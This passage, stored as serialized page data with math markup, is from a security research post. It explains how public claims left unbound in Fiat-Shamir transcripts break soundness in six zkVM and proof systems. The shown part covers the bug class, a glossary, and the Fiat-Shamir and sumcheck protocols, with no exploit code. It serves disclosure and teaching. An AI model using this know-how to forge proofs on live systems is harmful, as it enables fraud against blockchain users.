statements.","2026-03-03T12:00:00.000Z",[107270,107271],"himanshu","valter",{"src":107273,"width":16,"height":17},"/posts/zkvms-unfaithful-claims/title.png",[107275],"zkVM",{"type":23,"children":107277,"toc":123045},[107278,107283,107325,107338,107341,107347,107352,107480,107483,107489,107495,107500,107532,107680,107685,107808,107819,107830,107853,107864,107869,107902,107910,107915,107918,107924,107929,107935,107940,107945,107953,107971,108112,108117,108123,108216,108950,109018,109029,109037,109511,109517,109956,110296,110449,110454,111342,111498,111504,111596,111601,112186,112636,112712,112718,112723,112792,112802,112818,112828,112889,113308,113340,113350,113525,113530,113540,114140,114328,114346,114349,114355,114360,114368,114400,114762,114767,114852,114855,114861,114869,114874,114877,114883,114888,114896,114904,114912,114920,114953,114961,114969,115060,115311,115638,115646,115676,115846,116172,116177,116182,116199,116202,116207,116212,116224,116236,116827,116839,116851,116858,116866,116878,116886,116901,116906,117186,117205,117300,117319,117335,117338,117344,117349,117354,117361,117369,117376,117384,117397,117415,117875,117977,117982,117987,118003,118006,118012,118017,118029,118040,118045,118435,118442,118450,118475,118495,118751,118762,118781,119165,119511,119741,119900,120060,120628,120633,120659,120662,120668,120673,120680,120688,120701,120773,120784,120792,120802,120810,120821,121095,121184,121213,121216,121221,121355,121367,121374,121379,121532,121558,121565,121573,121578,121644,121649,122039,122126,122142,122145,122151,122156,122162,122262,122321,122326,122332,122337,122345,122350,122356,122361,122366,122372,122377,122380,122386,122392,122397,122402,122407,122412,122417,122420,122426,122589,122594,122597,122602,122613,122930,122935,122959,122964,122982,122987,122990,122996,123001,123006,123016,123021,123031,123041],{"type":26,"tag":35,"props":107279,"children":107280},{},[107281],{"type":32,"value":107282},"A zkVM verifier should be faithful to one thing above all else: its public claims. If the claimed input/output statement is false, verification must fail.",{"type":26,"tag":35,"props":107284,"children":107285},{},[107286,107288,107293,107294,107299,107300,107305,107306,107311,107312,107317,107318,107323],{"type":32,"value":107287},"We found six systems where this faithfulness breaks. Across ",{"type":26,"tag":105,"props":107289,"children":107290},{},[107291],{"type":32,"value":107292},"Jolt",{"type":32,"value":637},{"type":26,"tag":105,"props":107295,"children":107296},{},[107297],{"type":32,"value":107298},"Nexus",{"type":32,"value":637},{"type":26,"tag":105,"props":107301,"children":107302},{},[107303],{"type":32,"value":107304},"Cairo-M",{"type":32,"value":637},{"type":26,"tag":105,"props":107307,"children":107308},{},[107309],{"type":32,"value":107310},"Ceno",{"type":32,"value":637},{"type":26,"tag":105,"props":107313,"children":107314},{},[107315],{"type":32,"value":107316},"Expander",{"type":32,"value":6201},{"type":26,"tag":105,"props":107319,"children":107320},{},[107321],{"type":32,"value":107322},"Binius64",{"type":32,"value":107324},", public-claim data was not always bound into Fiat-Shamir transcripts before challenge generation. That subtle ordering bug turns statement values into attacker-controlled variables in later verification equations.",{"type":26,"tag":35,"props":107326,"children":107327},{},[107328,107330,107336],{"type":32,"value":107329},"In this post, we demonstrate how to exploit these unbound variables to bypass the cryptography entirely and prove mathematically impossible statements, such as finding a counterexample to Fermat's Last Theorem (see ",{"type":26,"tag":116,"props":107331,"children":107333},{"href":107332},"#challenges",[107334],{"type":32,"value":107335},"Challenges",{"type":32,"value":107337}," to try this out yourself). In a blockchain context, this could translate to receiving $1M out of thin air.",{"type":26,"tag":18502,"props":107339,"children":107340},{},[],{"type":26,"tag":27,"props":107342,"children":107344},{"id":107343},"jargon-cheat-sheet",[107345],{"type":32,"value":107346},"Jargon Cheat Sheet",{"type":26,"tag":35,"props":107348,"children":107349},{},[107350],{"type":32,"value":107351},"Before we go deeper, here's a one-liner for every term you'll encounter. The ZK ecosystem is particularly full of jargon and abbreviations, which may be off-putting to newcomers. Bookmark this section.",{"type":26,"tag":82,"props":107353,"children":107354},{},[107355,107365,107375,107385,107395,107405,107415,107425,107435,107445,107455,107465],{"type":26,"tag":86,"props":107356,"children":107357},{},[107358,107363],{"type":26,"tag":105,"props":107359,"children":107360},{},[107361],{"type":32,"value":107362},"Fiat-Shamir",{"type":32,"value":107364},": Instead of a real verifier sending random challenges, hash everything so far to get \"random\" challenges. Makes proofs non-interactive.",{"type":26,"tag":86,"props":107366,"children":107367},{},[107368,107373],{"type":26,"tag":105,"props":107369,"children":107370},{},[107371],{"type":32,"value":107372},"Transcript",{"type":32,"value":107374},": The running hash state. You \"absorb\" data into it, then \"squeeze\" out challenges.",{"type":26,"tag":86,"props":107376,"children":107377},{},[107378,107383],{"type":26,"tag":105,"props":107379,"children":107380},{},[107381],{"type":32,"value":107382},"Polynomial Commitment",{"type":32,"value":107384},": Like a hash, but for polynomials. You commit to a polynomial, then later prove \"my polynomial evaluates to 42 at point 7\" without revealing the whole polynomial.",{"type":26,"tag":86,"props":107386,"children":107387},{},[107388,107393],{"type":26,"tag":105,"props":107389,"children":107390},{},[107391],{"type":32,"value":107392},"Sumcheck",{"type":32,"value":107394},": A protocol to prove \"this polynomial sums to H over all boolean inputs\" without actually computing the exponentially many terms. Reduces to checking one random point.",{"type":26,"tag":86,"props":107396,"children":107397},{},[107398,107403],{"type":26,"tag":105,"props":107399,"children":107400},{},[107401],{"type":32,"value":107402},"MLE (Multilinear Extension)",{"type":32,"value":107404},": Turn a table of values into a polynomial. The polynomial equals the table on 0/1 inputs and smoothly interpolates elsewhere. Key property: evaluating it is a linear function of the table entries.",{"type":26,"tag":86,"props":107406,"children":107407},{},[107408,107413],{"type":26,"tag":105,"props":107409,"children":107410},{},[107411],{"type":32,"value":107412},"Lookup / LogUp",{"type":32,"value":107414},": Prove \"all my values appear in this table\" by encoding membership as sums of fractions. If the sums match, the sets match (with high probability).",{"type":26,"tag":86,"props":107416,"children":107417},{},[107418,107423],{"type":26,"tag":105,"props":107419,"children":107420},{},[107421],{"type":32,"value":107422},"AIR",{"type":32,"value":107424},": \"Algebraic Intermediate Representation\" - a way to write \"valid execution trace\" as polynomial equations. If the equations hold, the trace is valid.",{"type":26,"tag":86,"props":107426,"children":107427},{},[107428,107433],{"type":26,"tag":105,"props":107429,"children":107430},{},[107431],{"type":32,"value":107432},"STARK",{"type":32,"value":107434},": Prove AIR constraints hold using commitments + random sampling + FRI. No trusted setup needed.",{"type":26,"tag":86,"props":107436,"children":107437},{},[107438,107443],{"type":26,"tag":105,"props":107439,"children":107440},{},[107441],{"type":32,"value":107442},"FRI",{"type":32,"value":107444},": \"Fast Reed-Solomon IOP\" - proves a committed function is actually a low-degree polynomial, not arbitrary garbage that passes spot-checks.",{"type":26,"tag":86,"props":107446,"children":107447},{},[107448,107453],{"type":26,"tag":105,"props":107449,"children":107450},{},[107451],{"type":32,"value":107452},"OODS",{"type":32,"value":107454},": \"Out-of-Domain Sampling\" - check the constraint polynomial at a random point outside the execution domain. Ties everything together.",{"type":26,"tag":86,"props":107456,"children":107457},{},[107458,107463],{"type":26,"tag":105,"props":107459,"children":107460},{},[107461],{"type":32,"value":107462},"GKR",{"type":32,"value":107464},": Verify arithmetic circuits layer-by-layer using sumcheck. Reduces \"check this huge circuit\" to \"check a few random evaluations.\"",{"type":26,"tag":86,"props":107466,"children":107467},{},[107468,107473,107475],{"type":26,"tag":105,"props":107469,"children":107470},{},[107471],{"type":32,"value":107472},"claimed_sum / opening_claim",{"type":32,"value":107474},": Prover-supplied values that feed into verification equations. ",{"type":26,"tag":105,"props":107476,"children":107477},{},[107478],{"type":32,"value":107479},"These are the usual suspects for binding bugs.",{"type":26,"tag":18502,"props":107481,"children":107482},{},[],{"type":26,"tag":27,"props":107484,"children":107486},{"id":107485},"what-are-we-even-breaking",[107487],{"type":32,"value":107488},"What Are We Even Breaking?",{"type":26,"tag":41,"props":107490,"children":107492},{"id":107491},"what-is-a-zkvm",[107493],{"type":32,"value":107494},"What is a zkVM?",{"type":26,"tag":35,"props":107496,"children":107497},{},[107498],{"type":32,"value":107499},"A zkVM proof claims that a program executed correctly on public inputs, producing the claimed public output, while hiding the full execution trace.",{"type":26,"tag":35,"props":107501,"children":107502},{},[107503,107505,107530],{"type":32,"value":107504},"Formally, the verifier is convinced that there exists a valid trace ",{"type":26,"tag":53,"props":107506,"children":107508},{"className":107507},[3691,3692],[107509],{"type":26,"tag":475,"props":107510,"children":107512},{"className":107511},[3697],[107513],{"type":26,"tag":475,"props":107514,"children":107516},{"className":107515,"ariaHidden":3703},[3702],[107517],{"type":26,"tag":475,"props":107518,"children":107520},{"className":107519},[3708],[107521,107525],{"type":26,"tag":475,"props":107522,"children":107524},{"className":107523,"style":21291},[3713],[],{"type":26,"tag":475,"props":107526,"children":107528},{"className":107527,"style":21297},[3719,21296],[107529],{"type":32,"value":5701},{"type":32,"value":107531}," such that:",{"type":26,"tag":35,"props":107533,"children":107534},{},[107535],{"type":26,"tag":53,"props":107536,"children":107538},{"className":107537},[3691,3692],[107539],{"type":26,"tag":475,"props":107540,"children":107542},{"className":107541},[3697],[107543],{"type":26,"tag":475,"props":107544,"children":107546},{"className":107545,"ariaHidden":3703},[3702],[107547,107591,107666],{"type":26,"tag":475,"props":107548,"children":107550},{"className":107549},[3708],[107551,107555,107561,107565,107570,107574,107578,107583,107587],{"type":26,"tag":475,"props":107552,"children":107554},{"className":107553,"style":92582},[3713],[],{"type":26,"tag":475,"props":107556,"children":107558},{"className":107557},[3719],[107559],{"type":32,"value":107560},"∃",{"type":26,"tag":475,"props":107562,"children":107564},{"className":107563,"style":3898},[3800],[],{"type":26,"tag":475,"props":107566,"children":107568},{"className":107567,"style":21297},[3719,21296],[107569],{"type":32,"value":5701},{"type":26,"tag":475,"props":107571,"children":107573},{"className":107572,"style":3898},[3800],[],{"type":26,"tag":475,"props":107575,"children":107577},{"className":107576,"style":3898},[3800],[],{"type":26,"tag":475,"props":107579,"children":107581},{"className":107580},[3903],[107582],{"type":32,"value":179},{"type":26,"tag":475,"props":107584,"children":107586},{"className":107585,"style":3898},[3800],[],{"type":26,"tag":475,"props":107588,"children":107590},{"className":107589,"style":3898},[3800],[],{"type":26,"tag":475,"props":107592,"children":107594},{"className":107593},[3708],[107595,107599,107610,107615,107620,107625,107629,107634,107639,107643,107648,107653,107657,107662],{"type":26,"tag":475,"props":107596,"children":107598},{"className":107597,"style":3821},[3713],[],{"type":26,"tag":475,"props":107600,"children":107602},{"className":107601},[3719],[107603],{"type":26,"tag":475,"props":107604,"children":107607},{"className":107605},[3719,107606],"mathsf",[107608],{"type":32,"value":107609},"VM",{"type":26,"tag":475,"props":107611,"children":107613},{"className":107612},[21425],[107614],{"type":32,"value":626},{"type":26,"tag":475,"props":107616,"children":107618},{"className":107617,"style":21297},[3719,21296],[107619],{"type":32,"value":21300},{"type":26,"tag":475,"props":107621,"children":107623},{"className":107622},[3832],[107624],{"type":32,"value":3835},{"type":26,"tag":475,"props":107626,"children":107628},{"className":107627,"style":3839},[3800],[],{"type":26,"tag":475,"props":107630,"children":107632},{"className":107631,"style":94687},[3719,21296],[107633],{"type":32,"value":5847},{"type":26,"tag":475,"props":107635,"children":107637},{"className":107636},[3832],[107638],{"type":32,"value":3835},{"type":26,"tag":475,"props":107640,"children":107642},{"className":107641,"style":3839},[3800],[],{"type":26,"tag":475,"props":107644,"children":107646},{"className":107645,"style":21297},[3719,21296],[107647],{"type":32,"value":5701},{"type":26,"tag":475,"props":107649,"children":107651},{"className":107650},[21447],[107652],{"type":32,"value":2835},{"type":26,"tag":475,"props":107654,"children":107656},{"className":107655,"style":3898},[3800],[],{"type":26,"tag":475,"props":107658,"children":107660},{"className":107659},[3903],[107661],{"type":32,"value":22042},{"type":26,"tag":475,"props":107663,"children":107665},{"className":107664,"style":3898},[3800],[],{"type":26,"tag":475,"props":107667,"children":107669},{"className":107668},[3708],[107670,107674],{"type":26,"tag":475,"props":107671,"children":107673},{"className":107672,"style":21291},[3713],[],{"type":26,"tag":475,"props":107675,"children":107678},{"className":107676,"style":107677},[3719,21296],"margin-right:0.22222em;",[107679],{"type":32,"value":5877},{"type":26,"tag":35,"props":107681,"children":107682},{},[107683],{"type":32,"value":107684},"where:",{"type":26,"tag":82,"props":107686,"children":107687},{},[107688,107718,107748,107778],{"type":26,"tag":86,"props":107689,"children":107690},{},[107691,107716],{"type":26,"tag":53,"props":107692,"children":107694},{"className":107693},[3691,3692],[107695],{"type":26,"tag":475,"props":107696,"children":107698},{"className":107697},[3697],[107699],{"type":26,"tag":475,"props":107700,"children":107702},{"className":107701,"ariaHidden":3703},[3702],[107703],{"type":26,"tag":475,"props":107704,"children":107706},{"className":107705},[3708],[107707,107711],{"type":26,"tag":475,"props":107708,"children":107710},{"className":107709,"style":21291},[3713],[],{"type":26,"tag":475,"props":107712,"children":107714},{"className":107713,"style":21297},[3719,21296],[107715],{"type":32,"value":21300},{"type":32,"value":107717}," = program/circuit description (public)",{"type":26,"tag":86,"props":107719,"children":107720},{},[107721,107746],{"type":26,"tag":53,"props":107722,"children":107724},{"className":107723},[3691,3692],[107725],{"type":26,"tag":475,"props":107726,"children":107728},{"className":107727},[3697],[107729],{"type":26,"tag":475,"props":107730,"children":107732},{"className":107731,"ariaHidden":3703},[3702],[107733],{"type":26,"tag":475,"props":107734,"children":107736},{"className":107735},[3708],[107737,107741],{"type":26,"tag":475,"props":107738,"children":107740},{"className":107739,"style":21291},[3713],[],{"type":26,"tag":475,"props":107742,"children":107744},{"className":107743,"style":94687},[3719,21296],[107745],{"type":32,"value":5847},{"type":32,"value":107747}," = public input",{"type":26,"tag":86,"props":107749,"children":107750},{},[107751,107776],{"type":26,"tag":53,"props":107752,"children":107754},{"className":107753},[3691,3692],[107755],{"type":26,"tag":475,"props":107756,"children":107758},{"className":107757},[3697],[107759],{"type":26,"tag":475,"props":107760,"children":107762},{"className":107761,"ariaHidden":3703},[3702],[107763],{"type":26,"tag":475,"props":107764,"children":107766},{"className":107765},[3708],[107767,107771],{"type":26,"tag":475,"props":107768,"children":107770},{"className":107769,"style":21291},[3713],[],{"type":26,"tag":475,"props":107772,"children":107774},{"className":107773,"style":107677},[3719,21296],[107775],{"type":32,"value":5877},{"type":32,"value":107777}," = claimed public output",{"type":26,"tag":86,"props":107779,"children":107780},{},[107781,107806],{"type":26,"tag":53,"props":107782,"children":107784},{"className":107783},[3691,3692],[107785],{"type":26,"tag":475,"props":107786,"children":107788},{"className":107787},[3697],[107789],{"type":26,"tag":475,"props":107790,"children":107792},{"className":107791,"ariaHidden":3703},[3702],[107793],{"type":26,"tag":475,"props":107794,"children":107796},{"className":107795},[3708],[107797,107801],{"type":26,"tag":475,"props":107798,"children":107800},{"className":107799,"style":21291},[3713],[],{"type":26,"tag":475,"props":107802,"children":107804},{"className":107803,"style":21297},[3719,21296],[107805],{"type":32,"value":5701},{"type":32,"value":107807}," = private witness/trace (registers, memory history, intermediate values)",{"type":26,"tag":35,"props":107809,"children":107810},{},[107811,107813,107817],{"type":32,"value":107812},"The verifier does ",{"type":26,"tag":105,"props":107814,"children":107815},{},[107816],{"type":32,"value":18197},{"type":32,"value":107818}," replay execution step by step. Instead, it checks algebraic constraints over committed polynomials.",{"type":26,"tag":35,"props":107820,"children":107821},{},[107822,107824,107829],{"type":32,"value":107823},"Some systems in this post are verifiable-computing systems rather than full zero-knowledge systems, but the critical property is still ",{"type":26,"tag":105,"props":107825,"children":107826},{},[107827],{"type":32,"value":107828},"soundness",{"type":32,"value":179},{"type":26,"tag":82,"props":107831,"children":107832},{},[107833,107843],{"type":26,"tag":86,"props":107834,"children":107835},{},[107836,107841],{"type":26,"tag":105,"props":107837,"children":107838},{},[107839],{"type":32,"value":107840},"Completeness",{"type":32,"value":107842},": honest execution verifies.",{"type":26,"tag":86,"props":107844,"children":107845},{},[107846,107851],{"type":26,"tag":105,"props":107847,"children":107848},{},[107849],{"type":32,"value":107850},"Soundness",{"type":32,"value":107852},": false execution should not verify.",{"type":26,"tag":35,"props":107854,"children":107855},{},[107856,107858,107862],{"type":32,"value":107857},"We are breaking ",{"type":26,"tag":105,"props":107859,"children":107860},{},[107861],{"type":32,"value":107828},{"type":32,"value":107863}," in all six systems.",{"type":26,"tag":35,"props":107865,"children":107866},{},[107867],{"type":32,"value":107868},"In all six codebases, verification follows this abstract flow:",{"type":26,"tag":181,"props":107870,"children":107871},{},[107872,107877,107882,107887,107892,107897],{"type":26,"tag":86,"props":107873,"children":107874},{},[107875],{"type":32,"value":107876},"Fix public statement data.",{"type":26,"tag":86,"props":107878,"children":107879},{},[107880],{"type":32,"value":107881},"Parse proof payload (commitments, reduction messages, openings).",{"type":26,"tag":86,"props":107883,"children":107884},{},[107885],{"type":32,"value":107886},"Rebuild Fiat-Shamir challenges from transcript state.",{"type":26,"tag":86,"props":107888,"children":107889},{},[107890],{"type":32,"value":107891},"Check constraint equations at sampled points.",{"type":26,"tag":86,"props":107893,"children":107894},{},[107895],{"type":32,"value":107896},"Check PCS/opening consistency.",{"type":26,"tag":86,"props":107898,"children":107899},{},[107900],{"type":32,"value":107901},"Accept only if all checks are jointly consistent.",{"type":26,"tag":35,"props":107903,"children":107904},{},[107905],{"type":26,"tag":132,"props":107906,"children":107909},{"alt":107907,"src":107908},"1_prover_verifier","/posts/zkvms-unfaithful-claims/1_prover_verifier.svg",[],{"type":26,"tag":35,"props":107911,"children":107912},{},[107913],{"type":32,"value":107914},"The non-negotiable invariant is transcript ordering: if a value affects a verifier equation, it must be absorbed before sampling the challenge that gates that equation. Violating this gives the prover an attacker-controlled degree of freedom.",{"type":26,"tag":18502,"props":107916,"children":107917},{},[],{"type":26,"tag":27,"props":107919,"children":107921},{"id":107920},"the-building-blocks",[107922],{"type":32,"value":107923},"The Building Blocks",{"type":26,"tag":35,"props":107925,"children":107926},{},[107927],{"type":32,"value":107928},"Before we can understand the bugs, we need to understand the protocols they break. Each of these is a tool that zkVMs compose together.",{"type":26,"tag":41,"props":107930,"children":107932},{"id":107931},"the-fiat-shamir-transform",[107933],{"type":32,"value":107934},"The Fiat-Shamir Transform",{"type":26,"tag":35,"props":107936,"children":107937},{},[107938],{"type":32,"value":107939},"Interactive protocols (the type most commonly described in literature) require real-time communication. It involves the verifier sending random challenges, and the prover responding to them. This doesn't work for blockchains (where you have no real-time verifier) or when you want anyone to verify your proof at a later point.",{"type":26,"tag":35,"props":107941,"children":107942},{},[107943],{"type":32,"value":107944},"The solution is to replace the verifier's randomness with a hash function. The prover \"talks to themselves,\" using the hash of everything so far as the challenge. If we use a cryptographic hash function, this should mean that the challenges are completely unpredictable.",{"type":26,"tag":35,"props":107946,"children":107947},{},[107948],{"type":26,"tag":132,"props":107949,"children":107952},{"alt":107950,"src":107951},"fiat_shamir2","/posts/zkvms-unfaithful-claims/fiat_shamir2.svg",[],{"type":26,"tag":35,"props":107954,"children":107955},{},[107956,107958,107962,107964,107969],{"type":32,"value":107957},"The hash (transcript) ",{"type":26,"tag":105,"props":107959,"children":107960},{},[107961],{"type":32,"value":6233},{"type":32,"value":107963}," include everything that affects verification ",{"type":26,"tag":105,"props":107965,"children":107966},{},[107967],{"type":32,"value":107968},"BEFORE",{"type":32,"value":107970}," the challenges derived from it are used.",{"type":26,"tag":35,"props":107972,"children":107973},{},[107974,107976,108002,108004,108029,108031,108056,108058,108083,108085,108110],{"type":32,"value":107975},"If some value ",{"type":26,"tag":53,"props":107977,"children":107979},{"className":107978},[3691,3692],[107980],{"type":26,"tag":475,"props":107981,"children":107983},{"className":107982},[3697],[107984],{"type":26,"tag":475,"props":107985,"children":107987},{"className":107986,"ariaHidden":3703},[3702],[107988],{"type":26,"tag":475,"props":107989,"children":107991},{"className":107990},[3708],[107992,107996],{"type":26,"tag":475,"props":107993,"children":107995},{"className":107994,"style":21291},[3713],[],{"type":26,"tag":475,"props":107997,"children":107999},{"className":107998,"style":107677},[3719,21296],[108000],{"type":32,"value":108001},"V",{"type":32,"value":108003}," affects a verification equation, but ",{"type":26,"tag":53,"props":108005,"children":108007},{"className":108006},[3691,3692],[108008],{"type":26,"tag":475,"props":108009,"children":108011},{"className":108010},[3697],[108012],{"type":26,"tag":475,"props":108013,"children":108015},{"className":108014,"ariaHidden":3703},[3702],[108016],{"type":26,"tag":475,"props":108017,"children":108019},{"className":108018},[3708],[108020,108024],{"type":26,"tag":475,"props":108021,"children":108023},{"className":108022,"style":21291},[3713],[],{"type":26,"tag":475,"props":108025,"children":108027},{"className":108026,"style":107677},[3719,21296],[108028],{"type":32,"value":108001},{"type":32,"value":108030}," isn't absorbed before the relevant challenge is squeezed, then the challenge is completely independent of ",{"type":26,"tag":53,"props":108032,"children":108034},{"className":108033},[3691,3692],[108035],{"type":26,"tag":475,"props":108036,"children":108038},{"className":108037},[3697],[108039],{"type":26,"tag":475,"props":108040,"children":108042},{"className":108041,"ariaHidden":3703},[3702],[108043],{"type":26,"tag":475,"props":108044,"children":108046},{"className":108045},[3708],[108047,108051],{"type":26,"tag":475,"props":108048,"children":108050},{"className":108049,"style":21291},[3713],[],{"type":26,"tag":475,"props":108052,"children":108054},{"className":108053,"style":107677},[3719,21296],[108055],{"type":32,"value":108001},{"type":32,"value":108057},". This means that the prover can \"see\" (compute in advance) the challenge before choosing ",{"type":26,"tag":53,"props":108059,"children":108061},{"className":108060},[3691,3692],[108062],{"type":26,"tag":475,"props":108063,"children":108065},{"className":108064},[3697],[108066],{"type":26,"tag":475,"props":108067,"children":108069},{"className":108068,"ariaHidden":3703},[3702],[108070],{"type":26,"tag":475,"props":108071,"children":108073},{"className":108072},[3708],[108074,108078],{"type":26,"tag":475,"props":108075,"children":108077},{"className":108076,"style":21291},[3713],[],{"type":26,"tag":475,"props":108079,"children":108081},{"className":108080,"style":107677},[3719,21296],[108082],{"type":32,"value":108001},{"type":32,"value":108084},", which may allow it to choose ",{"type":26,"tag":53,"props":108086,"children":108088},{"className":108087},[3691,3692],[108089],{"type":26,"tag":475,"props":108090,"children":108092},{"className":108091},[3697],[108093],{"type":26,"tag":475,"props":108094,"children":108096},{"className":108095,"ariaHidden":3703},[3702],[108097],{"type":26,"tag":475,"props":108098,"children":108100},{"className":108099},[3708],[108101,108105],{"type":26,"tag":475,"props":108102,"children":108104},{"className":108103,"style":21291},[3713],[],{"type":26,"tag":475,"props":108106,"children":108108},{"className":108107,"style":107677},[3719,21296],[108109],{"type":32,"value":108001},{"type":32,"value":108111}," exactly so that the verification passes, even though it should not.",{"type":26,"tag":35,"props":108113,"children":108114},{},[108115],{"type":32,"value":108116},"This is the bug class we found in all six systems.",{"type":26,"tag":41,"props":108118,"children":108120},{"id":108119},"the-sumcheck-protocol",[108121],{"type":32,"value":108122},"The Sumcheck Protocol",{"type":26,"tag":35,"props":108124,"children":108125},{},[108126,108128,108214],{"type":32,"value":108127},"The sumcheck protocol proves that a polynomial sums to a claimed value over the Boolean hypercube (all inputs in ",{"type":26,"tag":53,"props":108129,"children":108131},{"className":108130},[3691,3692],[108132],{"type":26,"tag":475,"props":108133,"children":108135},{"className":108134},[3697],[108136],{"type":26,"tag":475,"props":108137,"children":108139},{"className":108138,"ariaHidden":3703},[3702],[108140],{"type":26,"tag":475,"props":108141,"children":108143},{"className":108142},[3708],[108144,108148,108153,108158,108163,108167,108172],{"type":26,"tag":475,"props":108145,"children":108147},{"className":108146,"style":3821},[3713],[],{"type":26,"tag":475,"props":108149,"children":108151},{"className":108150},[21425],[108152],{"type":32,"value":76247},{"type":26,"tag":475,"props":108154,"children":108156},{"className":108155},[3719],[108157],{"type":32,"value":3732},{"type":26,"tag":475,"props":108159,"children":108161},{"className":108160},[3832],[108162],{"type":32,"value":3835},{"type":26,"tag":475,"props":108164,"children":108166},{"className":108165,"style":3839},[3800],[],{"type":26,"tag":475,"props":108168,"children":108170},{"className":108169},[3719],[108171],{"type":32,"value":3722},{"type":26,"tag":475,"props":108173,"children":108175},{"className":108174},[21447],[108176,108181],{"type":26,"tag":475,"props":108177,"children":108179},{"className":108178},[21447],[108180],{"type":32,"value":722},{"type":26,"tag":475,"props":108182,"children":108184},{"className":108183},[3736],[108185],{"type":26,"tag":475,"props":108186,"children":108188},{"className":108187},[3741],[108189],{"type":26,"tag":475,"props":108190,"children":108192},{"className":108191},[3746],[108193],{"type":26,"tag":475,"props":108194,"children":108197},{"className":108195,"style":108196},[3751],"height:0.6644em;",[108198],{"type":26,"tag":475,"props":108199,"children":108200},{"style":3755},[108201,108205],{"type":26,"tag":475,"props":108202,"children":108204},{"className":108203,"style":3761},[3760],[],{"type":26,"tag":475,"props":108206,"children":108208},{"className":108207},[3766,3767,3768,3769],[108209],{"type":26,"tag":475,"props":108210,"children":108212},{"className":108211},[3719,21296,3769],[108213],{"type":32,"value":56095},{"type":32,"value":108215},"), i.e the claim:",{"type":26,"tag":35,"props":108217,"children":108218},{},[108219],{"type":26,"tag":53,"props":108220,"children":108222},{"className":108221},[3691,3692],[108223],{"type":26,"tag":475,"props":108224,"children":108226},{"className":108225},[3697],[108227],{"type":26,"tag":475,"props":108228,"children":108230},{"className":108229,"ariaHidden":3703},[3702],[108231,108257],{"type":26,"tag":475,"props":108232,"children":108234},{"className":108233},[3708],[108235,108239,108244,108248,108253],{"type":26,"tag":475,"props":108236,"children":108238},{"className":108237,"style":21291},[3713],[],{"type":26,"tag":475,"props":108240,"children":108242},{"className":108241,"style":92901},[3719,21296],[108243],{"type":32,"value":92904},{"type":26,"tag":475,"props":108245,"children":108247},{"className":108246,"style":3898},[3800],[],{"type":26,"tag":475,"props":108249,"children":108251},{"className":108250},[3903],[108252],{"type":32,"value":786},{"type":26,"tag":475,"props":108254,"children":108256},{"className":108255,"style":3898},[3800],[],{"type":26,"tag":475,"props":108258,"children":108260},{"className":108259},[3708],[108261,108265,108415,108419,108562,108566,108573,108577,108721,108725,108731,108736,108793,108798,108802,108859,108864,108868,108874,108878,108883,108887,108945],{"type":26,"tag":475,"props":108262,"children":108264},{"className":108263,"style":21327},[3713],[],{"type":26,"tag":475,"props":108266,"children":108268},{"className":108267},[21332],[108269,108275],{"type":26,"tag":475,"props":108270,"children":108272},{"className":108271,"style":21339},[21332,21337,21338],[108273],{"type":32,"value":108274},"∑",{"type":26,"tag":475,"props":108276,"children":108278},{"className":108277},[3736],[108279],{"type":26,"tag":475,"props":108280,"children":108282},{"className":108281},[3741,21350],[108283,108404],{"type":26,"tag":475,"props":108284,"children":108286},{"className":108285},[3746],[108287,108399],{"type":26,"tag":475,"props":108288,"children":108290},{"className":108289,"style":21359},[3751],[108291],{"type":26,"tag":475,"props":108292,"children":108293},{"style":21363},[108294,108298],{"type":26,"tag":475,"props":108295,"children":108297},{"className":108296,"style":3761},[3760],[],{"type":26,"tag":475,"props":108299,"children":108301},{"className":108300},[3766,3767,3768,3769],[108302],{"type":26,"tag":475,"props":108303,"children":108305},{"className":108304},[3719,3769],[108306,108369,108374,108379,108384,108389,108394],{"type":26,"tag":475,"props":108307,"children":108309},{"className":108308},[3719,3769],[108310,108315],{"type":26,"tag":475,"props":108311,"children":108313},{"className":108312},[3719,21296,3769],[108314],{"type":32,"value":18984},{"type":26,"tag":475,"props":108316,"children":108318},{"className":108317},[3736],[108319],{"type":26,"tag":475,"props":108320,"children":108322},{"className":108321},[3741,21350],[108323,108357],{"type":26,"tag":475,"props":108324,"children":108326},{"className":108325},[3746],[108327,108352],{"type":26,"tag":475,"props":108328,"children":108331},{"className":108329,"style":108330},[3751],"height:0.3173em;",[108332],{"type":26,"tag":475,"props":108333,"children":108335},{"style":108334},"top:-2.357em;margin-left:0em;margin-right:0.0714em;",[108336,108341],{"type":26,"tag":475,"props":108337,"children":108340},{"className":108338,"style":108339},[3760],"height:2.5em;",[],{"type":26,"tag":475,"props":108342,"children":108346},{"className":108343},[3766,108344,108345,3769],"reset-size3","size1",[108347],{"type":26,"tag":475,"props":108348,"children":108350},{"className":108349},[3719,3769],[108351],{"type":32,"value":3722},{"type":26,"tag":475,"props":108353,"children":108355},{"className":108354},[21453],[108356],{"type":32,"value":21456},{"type":26,"tag":475,"props":108358,"children":108360},{"className":108359},[3746],[108361],{"type":26,"tag":475,"props":108362,"children":108365},{"className":108363,"style":108364},[3751],"height:0.143em;",[108366],{"type":26,"tag":475,"props":108367,"children":108368},{},[],{"type":26,"tag":475,"props":108370,"children":108372},{"className":108371},[3903,3769],[108373],{"type":32,"value":21403},{"type":26,"tag":475,"props":108375,"children":108377},{"className":108376},[21425,3769],[108378],{"type":32,"value":76247},{"type":26,"tag":475,"props":108380,"children":108382},{"className":108381},[3719,3769],[108383],{"type":32,"value":3732},{"type":26,"tag":475,"props":108385,"children":108387},{"className":108386},[3832,3769],[108388],{"type":32,"value":3835},{"type":26,"tag":475,"props":108390,"children":108392},{"className":108391},[3719,3769],[108393],{"type":32,"value":3722},{"type":26,"tag":475,"props":108395,"children":108397},{"className":108396},[21447,3769],[108398],{"type":32,"value":722},{"type":26,"tag":475,"props":108400,"children":108402},{"className":108401},[21453],[108403],{"type":32,"value":21456},{"type":26,"tag":475,"props":108405,"children":108407},{"className":108406},[3746],[108408],{"type":26,"tag":475,"props":108409,"children":108411},{"className":108410,"style":21464},[3751],[108412],{"type":26,"tag":475,"props":108413,"children":108414},{},[],{"type":26,"tag":475,"props":108416,"children":108418},{"className":108417,"style":3839},[3800],[],{"type":26,"tag":475,"props":108420,"children":108422},{"className":108421},[21332],[108423,108428],{"type":26,"tag":475,"props":108424,"children":108426},{"className":108425,"style":21339},[21332,21337,21338],[108427],{"type":32,"value":108274},{"type":26,"tag":475,"props":108429,"children":108431},{"className":108430},[3736],[108432],{"type":26,"tag":475,"props":108433,"children":108435},{"className":108434},[3741,21350],[108436,108551],{"type":26,"tag":475,"props":108437,"children":108439},{"className":108438},[3746],[108440,108546],{"type":26,"tag":475,"props":108441,"children":108443},{"className":108442,"style":21359},[3751],[108444],{"type":26,"tag":475,"props":108445,"children":108446},{"style":21363},[108447,108451],{"type":26,"tag":475,"props":108448,"children":108450},{"className":108449,